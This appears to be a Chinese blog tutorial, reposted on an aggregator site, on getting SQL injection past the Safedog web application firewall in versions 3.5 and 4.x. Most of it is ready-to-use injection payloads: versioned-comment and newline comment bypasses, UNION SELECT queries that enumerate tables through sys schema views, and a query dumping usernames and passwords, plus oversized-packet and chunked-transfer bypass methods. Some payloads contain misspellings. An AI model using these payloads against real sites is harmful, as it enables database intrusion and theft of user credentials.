概述
不知道各位在平时的sql注入漏洞挖掘的过程中是否经常会遇到这样那样版本的安全狗,虽然说安全狗十分的可恶。但是俗话说,狗的毛要顺着摸。今天就分享几种常见的安全狗绕过方法,亲测有效。特别是最后两种方法,100%绕过最新版本的安全狗。
waf绕过常用方法: 注释、空白符、特殊符号、编码、替换;针对安全狗可能这些方法会失效,特别是安全狗3.5,只要提交的参数存在information_scheam就给你干掉。当然也是有办法绕过的。
安全狗4.02655版本
一步一步的探索
- 使用注释绕过:/*benben*/ /*!benben*/:注释里面的内容也要执行、/*!9000benben*/:当数据库版本为9的时候才执行benben;
- 替换:order by 替换为group by; and 替换为&&; or替换为||;
- /*!90000benebn*/注释绕过;
- --+benebn%0A注释加换行符绕过。
id=-1 union /*!90000benben*/ select 1,2,database(/*!90000benben*/)--+ id=-1 union /*!90000benben*/ select 1,2,group_concat(table_name) /*!90000benben*/ from information_schema.tables where table_schema='security'
例如:
进行FUZZ模糊化测试:
?id=2-1 N
?id=2 and /!*90000benben*/ 1=1 N
?id=1 && /!*90000benben*/ 1=1 N
?id=2 ^1^0 Y
?id=-1' union --+benben%0A select 1,2,database(/*!90000benben*/)--+ Y
?id=-1' union --+benben%0A select 1,2,group_concat(table_name)--+benben%0A from information_schema.tables where table_schema='security'--+ Y
安全狗3.5版本:
咬死information_schema关键字,可以采用如下的方法绕过:
方法一:
1. buffer缓存获取表名:sys.schema_table_statistics_with_buffer这张表,其中的columns和information_schema.tables一样,sys.x$ps_schema_table_statistics_io效果也是一样的:
?id=-1' union --+benben%0A select 1,2,3,group_concat(table_name) --+benben%0A from sys.sehcam_table_statistics_with_buffer where table_scheam=database(/*!90000benben*/)--+
?id=-1' union --+benben%0A select 1,2,3,group_concat(table_name) --+benben%0A from sys.x$ps_schema_table_statistics_io where table_schema=database(/*!90000benben*/)--+
2. 注入出列名:可以采用join内联查询,内联查询引起键值冲突报错(网站须有报错功能),因为information_schema被吃了:
select * from users as a join users as b; select * from(select * from users as a join users as b using(id)c; select * from(select * from users as a join users as b using(username)c
3.注入出字段数据:
?id=-1' union --+benebn%0A select 1,2,3,group_concat('-',id,username,passwd) --+benben%0A from security.users--+
2. 方法二:超大数据包绕过--POST注入
目的是填充一些数据来占用安全狗的检测数据位。
首先使用python脚本探测安全狗的数据检测的最大位数:
qt-block-indent这个安全狗的特征可以使用bp抓取安全狗的返回数据包看到!注意目标网站是否开启了防止CC攻击,开了就没法进行探测。
4.027最新版安全狗绕过:
方法三:
分块传输post注入------前提是对方的网站支持http分块传输
burpsuite分块传输插件: https://github.com/ThestaRY7/SQLinjection
添加:Transfer-Encoding:chunked
在post表单中写入注入语句,使用bp扩展进行分块,成功绕过,3.5版本也适用。
十分好用,再次注意对方的网站支持分块传输!!!!!
最后
以上就是含糊嚓茶为你收集整理的【SQL注入如何绕过WAF】的全部内容,希望文章能够帮你解决【SQL注入如何绕过WAF】所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复